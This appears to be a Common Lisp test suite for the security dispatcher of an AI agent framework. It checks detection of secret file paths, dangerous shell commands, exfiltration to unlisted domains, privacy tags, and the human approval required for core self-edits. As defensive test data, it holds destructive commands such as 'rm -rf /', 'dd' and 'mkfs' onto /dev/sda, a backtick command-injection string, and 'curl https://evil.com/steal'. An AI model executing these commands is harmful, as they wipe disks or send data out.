(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
(in-suite dispatcher-suite)
(test test-wildcard-match
"Contract 1: wildcard pattern * matches any characters."
(is (wildcard-match "*.env" ".env"))
(is (wildcard-match "*.env" "prod.env"))
(is (wildcard-match "*credential*" "my-credential-file"))
(is (wildcard-match "*.key" "id_rsa.key"))
(is (not (wildcard-match "*.env" "config.yaml"))))
(test test-check-secret-path
"Contract 2: dispatcher-check-secret-path matches protected patterns."
(is (dispatcher-check-secret-path ".env"))
(is (dispatcher-check-secret-path "id_rsa"))
(is (not (dispatcher-check-secret-path "README.org"))))
(test test-self-build-core-protection
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
;; Core paths are recognized
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
;; With SELF_BUILD_MODE=true, core writes produce approval-required
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let ((result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
;; With SELF_BUILD_MODE=false (default), writes pass through
(let ((result (dispatcher-check action nil)))
(is (eq :REQUEST (getf result :type))))))
(test test-check-shell-safety
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
(is (dispatcher-check-shell-safety "rm -rf /"))
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
(is (not (dispatcher-check-shell-safety "echo hello world")))
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
(test test-shell-safety-severity-catastrophic
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
(is (eq :catastrophic (getf r1 :severity)))
(is (eq :catastrophic (getf r2 :severity)))))
(test test-shell-safety-severity-dangerous
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
(is (eq :dangerous (getf result :severity)))))
(test test-shell-safety-severity-safe
"Contract 3/v0.4.3: harmless commands return nil."
(is (null (dispatcher-check-shell-safety "echo hello world")))
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
(test test-dispatcher-severity-max
"dispatcher-severity-max returns the higher tier."
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
(test test-check-privacy-tags
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
(is (dispatcher-check-privacy-tags '("@personal")))
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
(test test-check-network-exfil
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
(is (not (dispatcher-check-network-exfil "echo hello"))))
;; ── v0.7.2 Tag Stack ──
(test test-tag-categories-load
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
(passepartout::tag-categories-load)
(let ((cats passepartout::*tag-categories*))
(is (>= (length cats) 1))
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :warn (passepartout::tag-category-severity "@draft")))
(is (eq :log (passepartout::tag-category-severity "@review"))))
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
(test test-tag-category-severity-unknown
"Contract v0.7.2: unknown tag returns nil."
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
(test test-privacy-severity-block
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
(setf passepartout::*tag-categories* '(("@personal" . :block)))
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
(test test-privacy-severity-warn
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
(test test-privacy-severity-nil
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
(setf passepartout::*tag-categories* nil)
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
(test test-tag-trigger-record
"v0.7.2: tag-trigger-record increments per-tag count."
(clrhash passepartout::*tag-trigger-count*)
(passepartout::tag-trigger-record "@personal")
(passepartout::tag-trigger-record "@personal")
(passepartout::tag-trigger-record "@draft")
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
(clrhash passepartout::*tag-trigger-count*))
(test test-tag-categories-privacy-fallback
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
(sb-posix:unsetenv "TAG_CATEGORIES")
(passepartout::tag-categories-load)
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :block (passepartout::tag-category-severity "@draft")))
;; Restore
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
(passepartout::tag-categories-load)))
(test test-safe-tool-read-only-auto-approve
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "test-ro-tool"
:description "Read-only test"
:parameters nil
:guard nil
:body nil
:read-only-p t))
(unwind-protect
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
(result (dispatcher-check action nil)))
(is (eq :REQUEST (getf result :type)))
(is (not (member (getf result :type) '(:LOG :approval-required)))))
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
(test test-safe-tool-write-still-checked
"Contract v0.7.2: write tools still go through full dispatcher check."
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(if orig-tool
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
(in-package :passepartout-security-dispatcher-tests)
(test test-block-record-increments
"Contract 10: dispatcher-block-record increments per-gate count."
(clrhash passepartout::*dispatcher-block-counts*)
(is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
(test test-block-counts-summary
"Contract 11: dispatcher-block-counts-summary returns total and by-gate."
(clrhash passepartout::*dispatcher-block-counts*)
(passepartout::dispatcher-block-record :shell-safety)
(passepartout::dispatcher-block-record :shell-safety)
(passepartout::dispatcher-block-record :secret-path)
(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 3 (getf s :total)))
(let ((by-gate (getf s :by-gate)))
(is (= 2 (cdr (assoc :shell-safety by-gate))))
(is (= 1 (cdr (assoc :secret-path by-gate)))))))
(test test-block-counts-empty
"Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
(clrhash passepartout::*dispatcher-block-counts*)
(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 0 (getf s :total)))
(is (null (getf s :by-gate)))))